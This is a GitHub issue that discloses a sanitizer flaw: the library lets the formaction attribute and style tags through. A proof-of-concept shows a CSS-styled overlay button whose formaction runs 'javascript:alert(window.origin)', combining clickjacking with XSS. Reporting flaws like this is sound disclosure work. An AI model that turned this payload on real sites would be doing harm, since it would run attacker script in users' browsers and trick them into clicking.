Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[Security Issue] XSS via formaction attribute #630

Open
AlbertoFDR opened this issue Nov 29, 2024 · 0 comments
Open

[Security Issue] XSS via formaction attribute #630

AlbertoFDR opened this issue Nov 29, 2024 · 0 comments

Comments

@AlbertoFDR
Copy link

Description

The library currently does not sanitize the formaction attribute or style tag. This opens the possibility of a clickjacking attack. An attacker can create a button styled to mimic the legitimate appearance of the hosting page. When a user interacts with this deceptive button, the malicious payload defined in the formaction attribute gets executed. Note that this is just one example of the countless ways an attacker could deceive a user into clicking the button, like setting the display: none of the real button.

Example

<style>
/* Replicate the appearance of a legitimate button and move the button to the real button . */
#bubu {
  width: 300px;            /* Adjust width */
  height: 40px;            /* Adjust height */
  padding: 10px;           /* Add inner spacing */
  border: 2px solid #4CAF50; /* Green border */
  border-radius: 8px;      /* Rounded corners */
  font-size: 16px;         /* Increase font size */
  color: #333;             /* Text color */
  background-color: #f9f9f9; /* Light gray background */
  outline: none;           /* Remove default focus outline */
  transition: all 0.3s ease; /* Smooth hover effects */
  /* Put our button above the real button */
  position: fixed;                                                                                                                                                                            
  bottom: 55%;                                                                                                                                                                                
  left: 65%;                                                                                                                                                                                  
  transform: translateX(-50%);                                                                                                                                                                
  transform: scale(1.5);                                                                                                                                                                      
  z-index: 999999; 
}
</style>
<form id="attackerform">
  <button form="attackerform" id="bubu" formaction="javascript:alert(window.origin)">
  Click!
  </button>
</form>
@AlbertoFDR AlbertoFDR changed the title Security Issue using Formaction and Style Security Issue using formaction attribute Nov 29, 2024
@AlbertoFDR AlbertoFDR changed the title Security Issue using formaction attribute [Security Issue] XSS via formaction attribute Dec 5, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant